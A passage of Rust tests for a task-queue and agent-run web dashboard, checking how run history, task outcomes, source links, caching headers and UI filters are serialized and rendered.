25970 let value = serde_json::to_value(view).expect("serialize public metadata");
25971 assert_eq!(value["version"], "1.2.3");
25972 assert_eq!(value["pid"], 4242);
25973 assert!(value.get("payload").is_none());
25974 assert!(value.get("result").is_none());
25975 assert!(!value.to_string().contains("private"));
25976 }
25977
25978 #[test]
25979 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25980 let home = TempDir::new().expect("temp home");
25981 let ui = idle_ui(&home);
25982 std::fs::write(
25983 home.path().join("daemon.json"),
25984 serde_json::json!({
25985 "schema": 2, "pid": 4242, "worker_protocol": 1,
25986 "updated_at": Timestamp::now().to_string(), "idle": true,
25987 })
25988 .to_string(),
25989 )
25990 .expect("status");
25991 let reading = daemon::read_status(home.path());
25992 assert!(Foreign::of(reading.as_ref()).is_none());
25993 let view = ui.runtime_loop_view(reading, &[]);
25994 assert!(view.running);
25995 assert!(view.owned);
25996 }
25997
25998 #[test]
25999 fn only_an_explicit_one_requests_a_resume() {
26000 assert!(!resume_requested(None));
26001 assert!(!resume_requested(Some("0".into())));
26002 assert!(!resume_requested(Some("".into())));
26003 assert!(resume_requested(Some("1".into())));
26004 }
26005
26006 #[test]
26007 fn an_error_is_visible_from_where_the_button_is() {
26008 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
26013 ..APP_CSS.find(".alert-text").expect(".alert-text")];
26014 assert!(
26015 alert.contains("position: fixed"),
26016 "an error about the thing under your thumb has to be visible from \
26017 where your thumb is: {alert}"
26018 );
26019 assert!(
26020 alert.contains("z-index: 25"),
26021 "above the dock (20) and the run-actions FAB (15), so neither \
26022 buries it: {alert}"
26023 );
26024 assert!(
26025 alert.contains("var(--tap)"),
26026 "and clear of the dock and the home indicator: {alert}"
26027 );
26028 assert!(
26031 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26032 "the FAB's column stays free: {alert}"
26033 );
26034 }
26035
26036 #[tokio::test]
26037 async fn an_older_attempt_says_what_replaced_it() {
26038 let fx = Fixture::start().await;
26039 let q = fx.queue();
26040 let runs = fx.runs();
26041 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26042 write_run(&runs, first, RunStatus::Stalled);
26043 write_run(&runs, second, RunStatus::Blocked);
26044
26045 let mut t = Task::new(
26046 "one task".to_owned(),
26047 "do it".to_owned(),
26048 PathBuf::from("/repo"),
26049 Source::Human,
26050 );
26051 t.runs = vec![first.to_owned(), second.to_owned()];
26052 q.put(&mut t).expect("put");
26053
26054 let rows = fx.get("/api/runs").await.json();
26058 let by = |short: &str| -> Value {
26059 rows.as_array()
26060 .unwrap()
26061 .iter()
26062 .find(|r| r["short"] == short)
26063 .cloned()
26064 .unwrap_or(Value::Null)
26065 };
26066 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26067 assert!(
26068 by("bbbb")["superseded_by"].is_null(),
26069 "the latest attempt is not superseded by anything"
26070 );
26071 assert!(APP_JS.contains("run.superseded_by"));
26073 assert!(APP_JS.contains("Superseded by"));
26074 }
26075
26076 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26077 let mut t = Task::new(
26078 "one task".to_owned(),
26079 "do it".to_owned(),
26080 PathBuf::from("/repo"),
26081 Source::Human,
26082 );
26083 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26084 t.status = status;
26085 t
26086 }
26087
26088 #[test]
26089 fn source_link_picks_the_page_that_filed_the_task() {
26090 let agent = |node: &str| Source::Agent {
26091 run: "20260904-014455-ab12".to_owned(),
26092 node: node.to_owned(),
26093 };
26094 let chat = source_link(&agent("chat")).expect("chat link");
26095 assert_eq!(chat.kind, "chat");
26096 assert_eq!(chat.id, "20260904-014455-ab12");
26097 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26098 let run = source_link(&agent("implement")).expect("run link");
26099 assert_eq!(
26100 (run.kind, run.href.as_str()),
26101 ("run", "#/runs/20260904-014455-ab12")
26102 );
26103 assert_eq!(source_link(&Source::Human), None);
26104 assert_eq!(
26105 source_link(&Source::Issue {
26106 number: 3,
26107 repo: "o/r".to_owned()
26108 }),
26109 None
26110 );
26111 let odd = source_link(&Source::Agent {
26112 run: "a b/c".to_owned(),
26113 node: "chat".to_owned(),
26114 })
26115 .expect("link");
26116 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26117 }
26118
26119 #[test]
26120 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26121 assert!(
26122 !APP_JS.contains("src.node === \"chat\""),
26123 "inline href rule is back"
26124 );
26125 assert!(
26126 APP_JS.matches("sourceLinkOf(").count() >= 4,
26127 "helper must serve every page"
26128 );
26129 assert!(
26130 APP_JS.matches("openChatLink(").count() >= 3,
26131 "the run page still needs its explicit chat link"
26132 );
26133 assert!(
26134 !APP_JS.contains("const openChat = el("),
26135 "the Queue card duplicates its source label link again"
26136 );
26137 assert!(
26138 APP_JS.contains("metaKids.push(link ? el(\"a\""),
26139 "the task page must link a chat source label too"
26140 );
26141 }
26142
26143 #[test]
26144 fn task_ref_carries_the_source_link_for_a_chat_task() {
26145 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26146 t.source = Source::Agent {
26147 run: "20260904-014455-ab12".to_owned(),
26148 node: "chat".to_owned(),
26149 };
26150 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26151 let v = serde_json::to_value(&out).expect("json");
26152 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26153 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26154 assert_eq!(v["source_label"], t.source.label());
26155
26156 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26157 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26158 .expect("json");
26159 assert!(v["source_link"].is_null(), "{v}");
26160 }
26161
26162 #[test]
26163 fn task_view_serializes_source_link() {
26164 let mut t = Task::new(
26165 "t".to_owned(),
26166 "t".to_owned(),
26167 PathBuf::from("/repo"),
26168 Source::Agent {
26169 run: "20260901-000000-aaaa".to_owned(),
26170 node: "implement".to_owned(),
26171 },
26172 );
26173 t.runs.clear();
26174 let v = serde_json::to_value(TaskView::from(t)).expect("json");
26175 assert_eq!(v["source_link"]["kind"], "run", "{v}");
26176 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26177 }
26178
26179 #[test]
26180 fn task_view_serializes_urgent_flag() {
26181 let mut t = Task::new(
26182 "t".to_owned(),
26183 "t".to_owned(),
26184 PathBuf::from("/repo"),
26185 Source::Human,
26186 );
26187 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26188 assert_eq!(v["urgent"], false, "{v}");
26189 t.urgent = true;
26190 let v = serde_json::to_value(TaskView::from(t)).expect("json");
26191 assert_eq!(v["urgent"], true, "{v}");
26192 assert!(APP_JS.contains("task.urgent === true"));
26193 }
26194
26195 #[test]
26196 fn task_view_serializes_immediate_flag_and_ui_hooks() {
26197 let mut t = Task::new(
26198 "t".to_owned(),
26199 "t".to_owned(),
26200 PathBuf::from("/repo"),
26201 Source::Human,
26202 );
26203 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26204 assert_eq!(v["immediate"], false, "{v}");
26205 t.immediate = true;
26206 let v = serde_json::to_value(TaskView::from(t)).expect("json");
26207 assert_eq!(v["immediate"], true, "{v}");
26208 assert!(APP_JS.contains("task.immediate === true"));
26209 assert!(APP_JS.contains("/immediate"));
26210 }
26211
26212 #[tokio::test]
26213 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26214 let fx = Fixture::start().await;
26215 let runs = fx.runs();
26216 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26217 write_run(&runs, old, RunStatus::Blocked);
26218 write_run(&runs, new, RunStatus::Merged);
26219 let mut t = outcome_task(&[old, new], TaskStatus::Done);
26220 fx.queue().put(&mut t).expect("put");
26221
26222 let view = fx.get(&format!("/api/runs/{old}")).await.json();
26223 let task = &view["task"];
26224 assert_eq!(task["status"], "done");
26225 assert_eq!(task["is_latest"], false);
26226 assert_eq!(task["latest"]["short"], "bbbb");
26227 assert_eq!(task["finished_by"]["id"], new);
26228 assert_eq!(task["finished_by"]["outcome"], "merged");
26229 assert_eq!(task["closed_by_hand"], false);
26230 assert_eq!(view["status"], "blocked", "the run keeps its own status");
26231 assert!(APP_JS.contains("finished_by"));
26232 assert!(APP_JS.contains("superseded by run"));
26233 }
26234
26235 #[tokio::test]
26236 async fn the_latest_run_reports_a_held_task_without_a_successor() {
26237 let fx = Fixture::start().await;
26238 let runs = fx.runs();
26239 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26240 write_run(&runs, old, RunStatus::Stalled);
26241 write_run(&runs, new, RunStatus::Blocked);
26242 let mut t = outcome_task(&[old, new], TaskStatus::Held);
26243 fx.queue().put(&mut t).expect("put");
26244
26245 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26246 assert_eq!(task["status"], "held");
26247 assert_eq!(task["is_latest"], true);
26248 assert!(task["latest"].is_null());
26249 assert!(task["finished_by"].is_null());
26250 assert_eq!(task["closed_by_hand"], false);
26251 }
26252
26253 #[tokio::test]
26254 async fn a_direct_run_has_no_task_outcome() {
26255 let fx = Fixture::start().await;
26256 let runs = fx.runs();
26257 let id = "20260901-000000-aaaa";
26258 write_run(&runs, id, RunStatus::Blocked);
26259 let view = fx.get(&format!("/api/runs/{id}")).await.json();
26260 assert!(view["task"].is_null());
26261 }
26262
26263 #[test]
26264 fn task_outcome_does_not_guess_a_finishing_run() {
26265 let a = "20260901-000000-aaaa";
26266 let b = "20260901-000000-bbbb";
26267 let c = "20260901-000000-cccc";
26268 let dir = tempfile::tempdir().expect("tempdir");
26269 write_run(dir.path(), a, RunStatus::Blocked);
26270 write_run(dir.path(), b, RunStatus::VerifiedNoop);
26271 let read = |id: &str| read_run(dir.path(), id).ok();
26273 let t = outcome_task(&[a, b, c], TaskStatus::Done);
26276 let out = task_outcome(&t, a, 3, read);
26277 assert!(out.finished_by.is_none());
26278 assert!(out.closed_by_hand);
26279 let latest = out.latest.expect("latest");
26280 assert_eq!(latest.id, c);
26281 assert_eq!(latest.status, None);
26282 assert_eq!(latest.outcome, "record unreadable");
26283
26284 write_run(dir.path(), c, RunStatus::Ready);
26286 let t = outcome_task(&[a, c], TaskStatus::Done);
26287 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26288 assert_eq!(out.finished_by.expect("finisher").id, c);
26289 assert!(!out.closed_by_hand);
26290
26291 let t = outcome_task(&[a, b, a], TaskStatus::Held);
26293 assert!(task_outcome(&t, a, 3, read).is_latest);
26294 }
26295
26296 #[tokio::test]
26297 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26298 let fx = Fixture::start().await;
26303 let q = fx.queue();
26304 let runs = fx.runs();
26305 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26306 write_run(&runs, first, RunStatus::Blocked);
26307 write_run(&runs, second, RunStatus::Merged);
26308
26309 let mut t = Task::new(
26310 "one task".to_owned(),
26311 "do it".to_owned(),
26312 PathBuf::from("/repo"),
26313 Source::Human,
26314 );
26315 t.runs = vec![first.to_owned(), second.to_owned()];
26316 q.put(&mut t).expect("put");
26317
26318 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26319 assert_eq!(earlier["superseded_by"], "dddd");
26320 assert_eq!(earlier["latest_attempt"]["id"], second);
26321 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26322 assert_eq!(
26323 earlier["latest_attempt"]["resolved"], true,
26324 "the run that replaced it landed, so this one reads as settled"
26325 );
26326
26327 let later = fx.get(&format!("/api/runs/{second}")).await.json();
26328 assert!(
26329 later["superseded_by"].is_null(),
26330 "the latest attempt is not superseded by anything"
26331 );
26332 assert!(
26333 later["latest_attempt"].is_null(),
26334 "the latest attempt has no later attempt of its own"
26335 );
26336
26337 assert!(APP_JS.contains("run.latest_attempt"));
26344 assert!(APP_JS.contains("data-superseded"));
26345 assert!(APP_JS.contains("#/runs/${latest.id}"));
26346 }
26347
26348 #[tokio::test]
26349 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26350 let fx = Fixture::start().await;
26356 let q = fx.queue();
26357 let runs = fx.runs();
26358 let (a, b, c) = (
26359 "20260901-000000-aaaa",
26360 "20260901-000000-bbbb",
26361 "20260901-000000-cccc",
26362 );
26363 write_run(&runs, a, RunStatus::Blocked);
26364 write_run(&runs, b, RunStatus::Blocked);
26365 write_run(&runs, c, RunStatus::Merged);
26366
26367 let mut t = Task::new(
26368 "retried twice".to_owned(),
26369 "do it".to_owned(),
26370 PathBuf::from("/repo"),
26371 Source::Human,
26372 );
26373 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26374 q.put(&mut t).expect("put");
26375
26376 let view = fx.get(&format!("/api/runs/{a}")).await.json();
26377 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26378 assert_eq!(
26379 view["latest_attempt"]["id"], c,
26380 "the chain's current head, not the intermediate Blocked retry"
26381 );
26382 assert_eq!(view["latest_attempt"]["resolved"], true);
26383
26384 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26385 assert_eq!(mid["latest_attempt"]["id"], c);
26386 assert_eq!(mid["latest_attempt"]["resolved"], true);
26387 }
26388
26389 #[tokio::test]
26390 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26391 let fx = Fixture::start().await;
26392 let q = fx.queue();
26393 let runs = fx.runs();
26394
26395 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26398 write_run(&runs, still_blocked_a, RunStatus::Blocked);
26399 write_run(&runs, still_blocked_b, RunStatus::Blocked);
26400 let mut t1 = Task::new(
26401 "still stuck".to_owned(),
26402 "do it".to_owned(),
26403 PathBuf::from("/repo"),
26404 Source::Human,
26405 );
26406 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26407 q.put(&mut t1).expect("put");
26408 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26409 assert_eq!(view1["latest_attempt"]["resolved"], false);
26410 assert_eq!(view1["latest_attempt"]["status"], "blocked");
26411 assert_eq!(view1["latest_attempt"]["done"], true);
26412
26413 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26415 write_run(&runs, run_a, RunStatus::Blocked);
26416 write_run(&runs, run_b, RunStatus::Implementing);
26417 let mut t3 = Task::new(
26418 "retrying".to_owned(),
26419 "do it".to_owned(),
26420 PathBuf::from("/repo"),
26421 Source::Human,
26422 );
26423 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26424 q.put(&mut t3).expect("put");
26425 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26426 assert_eq!(view3["latest_attempt"]["id"], run_b);
26427 assert_eq!(view3["latest_attempt"]["resolved"], false);
26428 assert_eq!(view3["latest_attempt"]["done"], false);
26429
26430 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26435 write_run(&runs, noop_a, RunStatus::Blocked);
26436 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26437 let mut t2 = Task::new(
26438 "claims done".to_owned(),
26439 "do it".to_owned(),
26440 PathBuf::from("/repo"),
26441 Source::Human,
26442 );
26443 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26444 q.put(&mut t2).expect("put");
26445 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26446 assert_eq!(
26447 view2["latest_attempt"]["resolved"], false,
26448 "an unverified no-op claim must not read as a confirmed finish"
26449 );
26450
26451 assert!(APP_JS.contains("latest.resolved"));
26454 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26457 assert!(APP_JS.contains("Latest attempt: "));
26458 assert!(APP_JS.contains("in flight"));
26459 assert!(APP_JS.contains("not resolved"));
26460 }
26461
26462 #[tokio::test]
26463 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26464 let fx = Fixture::start().await;
26465 let js = fx.get("/app.js").await;
26471 assert_eq!(js.status, 200);
26472 let tag = js
26473 .header("etag")
26474 .expect("an etag to revalidate against")
26475 .to_owned();
26476 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26477 assert_eq!(
26478 js.header("cache-control"),
26479 Some("no-cache, must-revalidate"),
26480 "the phone has to ask every time"
26481 );
26482
26483 let again = fx
26486 .get_with("/app.js", &[("if-none-match", tag.as_str())])
26487 .await;
26488 assert_eq!(
26489 again.status, 304,
26490 "a deck it already has costs one round trip"
26491 );
26492 assert!(again.body.is_empty(), "304 carries no body");
26493
26494 let weak = fx
26497 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26498 .await;
26499 assert_eq!(weak.status, 304);
26500 let stale = fx
26501 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26502 .await;
26503 assert_eq!(stale.status, 200, "an older build must be replaced");
26504 assert!(stale.body.contains("renderRunActions"));
26505 }
26506
26507 #[test]
26508 fn the_task_detail_has_an_actions_fab_and_sheet() {
26509 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26510 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26511 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26512 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26514 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26515 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26517 assert!(APP_JS.contains("renderTaskActions(null);"));
26518 let (_, sheet) = APP_JS
26521 .split_once("function renderTaskActions(task) {")
26522 .expect("sheet renderer");
26523 let (body, _) = sheet
26524 .split_once("\nfunction openTaskActions() {")
26525 .expect("end of sheet renderer");
26526 assert!(body.contains("changePriority("));
26527 assert!(body.contains("openTaskEdit(task)"));
26528 assert!(body.contains("renderTaskHoldBox(host"));
26529 assert!(body.contains("renderTaskDoneBox(host"));
26530 assert!(body.contains("renderTaskDeleteBox(host"));
26531 assert!(APP_JS.contains("API.priority(id)"));
26532 assert!(APP_JS.contains("API.deleteTask(id)"));
26533 assert!(APP_JS.contains("location.hash = \"#/queue\""));
26535 assert!(APP_JS.contains("$(\"task-actions-error\")"));
26537 }
26538
26539 #[test]
26540 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26541 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26542 let actions = INDEX_HTML
26543 .find("id=\"run-actions-box\"")
26544 .expect("actions box");
26545 assert!(task < actions, "the task entry comes first in the sheet");
26546 assert!(APP_JS.contains("renderRunTaskEntry"));
26547 assert!(APP_JS.contains("\"Open task \""));
26548 assert!(APP_JS.contains("started directly, no task"));
26550 assert!(APP_JS.contains("sheet-task-link"));
26551 assert!(APP_JS.contains("task-chip-link"));
26552 }
26553
26554 #[test]
26555 fn the_deck_never_sends_the_operator_to_a_terminal() {
26556 assert!(
26559 !APP_JS.contains("Run `magi fold` first"),
26560 "the deck must offer the fold, not prescribe a shell command"
26561 );
26562 assert!(APP_JS.contains("foldRun:"));
26563 assert!(APP_JS.contains("resumeRun:"));
26564 assert!(APP_JS.contains("renderRunActions"));
26565
26566 assert!(APP_JS.contains("armedFold"));
26568 assert!(APP_JS.contains("Yes, fold worktrees"));
26569
26570 assert!(APP_JS.contains("can no longer be resumed"));
26573 }
26574
26575 #[test]
26576 fn a_finished_run_explains_itself_with_its_own_last_line() {
26577 assert!(
26583 !APP_JS.contains("collapsed on agent quota"),
26584 "a stall must not be explained by a cause the deck did not check"
26585 );
26586 assert!(
26587 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26588 "and a block must not offer a guess with an `or` in it"
26589 );
26590
26591 assert!(
26595 APP_JS.contains("setText(r.event, run.event || \"\")"),
26596 "the run's last line is rendered unconditionally"
26597 );
26598 assert!(
26599 !APP_JS.contains("moving && run.event"),
26600 "and never gated on the run still moving"
26601 );
26602
26603 assert!(APP_JS.contains("lost to quota"));
26605 }
26606
26607 #[test]
26629 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26630 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26631 let shapes_body_start =
26632 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26633 let shapes_close = APP_JS[shapes_body_start..]
26634 .find("].map(")
26635 .expect("the shape list is closed by its done-computing .map(...)")
26636 + shapes_body_start;
26637 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26638
26639 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26640 for entry in shapes_src.split('{').skip(1) {
26641 let waiting = entry.contains("waiting: true");
26642 let dead = entry.contains("live: \"dead\"");
26643 let status_at =
26644 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26645 let status_end = entry[status_at..]
26646 .find('"')
26647 .expect("the status string is closed")
26648 + status_at;
26649 let parked = entry.contains("display_status: \"parked\"");
26650 shapes.push((
26651 waiting,
26652 entry[status_at..status_end].to_string(),
26653 dead,
26654 parked,
26655 ));
26656 }
26657 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26658
26659 let done_rule_marker = "done: !";
26663 let done_rule_at = APP_JS[shapes_close..]
26664 .find(done_rule_marker)
26665 .expect("the done rule follows the shape list")
26666 + shapes_close
26667 + done_rule_marker.len();
26668 let includes_at = APP_JS[done_rule_at..]
26669 .find(".includes(shape.status)")
26670 .expect("the done rule ends in .includes(shape.status)")
26671 + done_rule_at;
26672 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26673 .trim()
26674 .trim_start_matches('[')
26675 .trim_end_matches(']')
26676 .split(',')
26677 .map(|s| s.trim().trim_matches('"'))
26678 .filter(|s| !s.is_empty())
26679 .collect();
26680
26681 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26682 .into_iter()
26683 .map(|(waiting, status, dead, parked)| {
26684 let done = !not_done.contains(&status.as_str());
26685 (waiting, status, dead, parked, done)
26686 })
26687 .collect();
26688
26689 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26693 if waiting {
26694 return "waiting";
26695 }
26696 if dead
26697 && !parked
26698 && !matches!(
26699 status,
26700 "merged"
26701 | "ready"
26702 | "stalled"
26703 | "blocked"
26704 | "failed"
26705 | "verified_noop"
26706 | "superseded"
26707 | "already_in_base"
26708 )
26709 {
26710 return "stale";
26711 }
26712 match status {
26713 "merged" | "ready" => "landed",
26714 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26715 | "already_in_base" => "ended",
26716 _ => "flight",
26717 }
26718 }
26719
26720 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26723 match filter_key {
26724 "active" => !done,
26725 "flight" => !done && !waiting && !dead,
26726 "stale" => !done && !waiting && dead,
26727 "waiting" => waiting,
26728 "done" => done,
26729 "all" => true,
26730 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26731 }
26732 }
26733
26734 let compatible = |section: &str, filter_key: &str| {
26735 shapes.iter().any(|(waiting, status, dead, parked, done)| {
26736 run_section(*waiting, status, *dead, *parked) == section
26737 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26738 })
26739 };
26740
26741 let expected = [
26746 ("waiting", [true, false, false, true, true, true]),
26747 ("stale", [true, false, true, false, false, true]),
26748 ("flight", [true, true, false, false, false, true]),
26749 ("landed", [false, false, false, false, true, true]),
26750 ("ended", [false, false, false, false, true, true]),
26751 ];
26752 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26753
26754 for (section, wants) in expected {
26755 for (filter_key, want) in filter_keys.iter().zip(wants) {
26756 assert_eq!(
26757 compatible(section, filter_key),
26758 want,
26759 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26760 );
26761 }
26762 }
26763
26764 assert!(
26767 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26768 );
26769 assert!(APP_JS.contains(
26770 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26771 ));
26772 assert!(APP_JS.contains(
26773 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26774 ));
26775 }
26776
26777 #[tokio::test]
26778 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26779 let dir = tempfile::tempdir().expect("tempdir");
26783 let explicit = dir.path().join("not-a-checkout");
26784 std::fs::create_dir_all(&explicit).expect("create dir");
26785 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26786
26787 let missing = dir.path().join("does-not-exist-at-all");
26788 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26789 }
26790
26791 #[test]
26792 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26793 assert!(APP_JS.contains("function statsDonutArcs"));
26794 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26795 assert!(APP_JS.contains("function statusInBucket"));
26797 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26798 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26799 let buckets = [
26800 "merged",
26801 "ready",
26802 "in_progress",
26803 "blocked",
26804 "failed",
26805 "verified_noop",
26806 "superseded",
26807 "stalled",
26808 ];
26809 for key in buckets {
26810 let var = format!("--verdict-{key}:");
26811 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26813 assert!(
26814 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26815 "{key}"
26816 );
26817 }
26818 }
26819
26820 #[tokio::test]
26821 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26822 let dir = tempfile::tempdir().expect("tempdir");
26823 let queue = Queue::at(dir.path().join("queue"));
26824 let talks = Talks::at(dir.path().join("talks"));
26825 std::fs::create_dir_all(queue.root()).unwrap();
26826 std::fs::create_dir_all(talks.root()).unwrap();
26827
26828 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26830 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26831
26832 let mut task = Task::new(
26834 "title".into(),
26835 "inst".into(),
26836 PathBuf::from("/repo"),
26837 Source::Human,
26838 );
26839 task.id = "20261019-123456-abcd".into();
26840 std::fs::write(
26842 queue.path_of(&task.id),
26843 serde_json::to_string(&task).unwrap(),
26844 )
26845 .unwrap();
26846
26847 let talk_id = "20261019-234567-cdef";
26848 seed_talk_at(&talks, talk_id, "open");
26849
26850 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26852 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26853
26854 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26856 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26857 }
26858
26859 #[tokio::test]
26860 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26861 let home = tempfile::tempdir().unwrap();
26862 let ui = delta_test_ui(home.path());
26863 std::fs::write(ui.queue.root(), "not a directory").unwrap();
26865 std::fs::write(ui.talks.root(), "not a directory").unwrap();
26866 assert!(
26867 questions_list(State(ui.clone()))
26868 .await
26869 .unwrap()
26870 .0
26871 .is_empty()
26872 );
26873 assert!(
26874 question_origins(State(ui.clone()))
26875 .await
26876 .unwrap()
26877 .0
26878 .is_empty()
26879 );
26880 let mut question = Question::new(
26881 "run-history".into(),
26882 "review".into(),
26883 "seat".into(),
26884 "Useful question".into(),
26885 "Useful detail".into(),
26886 vec![],
26887 );
26888 ui.questions.put(&mut question).unwrap();
26889 let core = questions_core(State(ui.clone())).await.unwrap().0;
26890 assert_eq!(core.len(), 1);
26891 assert_eq!(core[0].question.summary, "Useful question");
26892 assert!(!core[0].can_consult_chat);
26893 assert!(core[0].origin_chat.is_none());
26894 assert_eq!(core[0].record_revision, question_record_revision(&question));
26895 assert!(question_origins(State(ui.clone())).await.is_err());
26896 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26897 }
26898
26899 #[tokio::test]
26900 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26901 let home = tempfile::tempdir().unwrap();
26902 let ui = delta_test_ui(home.path());
26903 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26904 let mut parent = Task::new(
26905 "parent".into(),
26906 "body".into(),
26907 PathBuf::from("/repo"),
26908 Source::Agent {
26909 run: chat.clone(),
26910 node: crate::queue::CHAT_NODE.into(),
26911 },
26912 );
26913 parent.id = "parent-task".into();
26914 parent.runs = vec!["parent-run".into()];
26915 ui.queue.put(&mut parent).unwrap();
26916 let mut previous = parent;
26917 for generation in 1..=2 {
26918 let mut child = Task::new(
26919 "child".into(),
26920 "body".into(),
26921 PathBuf::from("/repo"),
26922 Source::Human,
26923 );
26924 child.id = format!("child-task-{generation}");
26925 child.runs = vec![format!("child-run-{generation}")];
26926 child.followup = Some(crate::queue::FollowUp {
26927 origin_task: Some(previous.id.clone()),
26928 run: previous.runs[0].clone(),
26929 pr: String::new(),
26930 findings: vec![],
26931 generation,
26932 });
26933 ui.queue.put(&mut child).unwrap();
26934 previous = child;
26935 }
26936 let mut collision = Task::new(
26939 "collision".into(),
26940 String::new(),
26941 PathBuf::from("/repo"),
26942 Source::Human,
26943 );
26944 collision.id = "collision-task".into();
26945 collision.runs = vec![previous.id.clone()];
26946 ui.queue.put(&mut collision).unwrap();
26947 let mut questions = Vec::new();
26948 for (node, reference, expected, eligible) in [
26949 (crate::triage::NODE, previous.id.as_str(), true, false),
26950 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26951 ("review", previous.runs[0].as_str(), true, true),
26952 (
26953 crate::bump::NOTICE_NODE,
26954 previous.runs[0].as_str(),
26955 true,
26956 false,
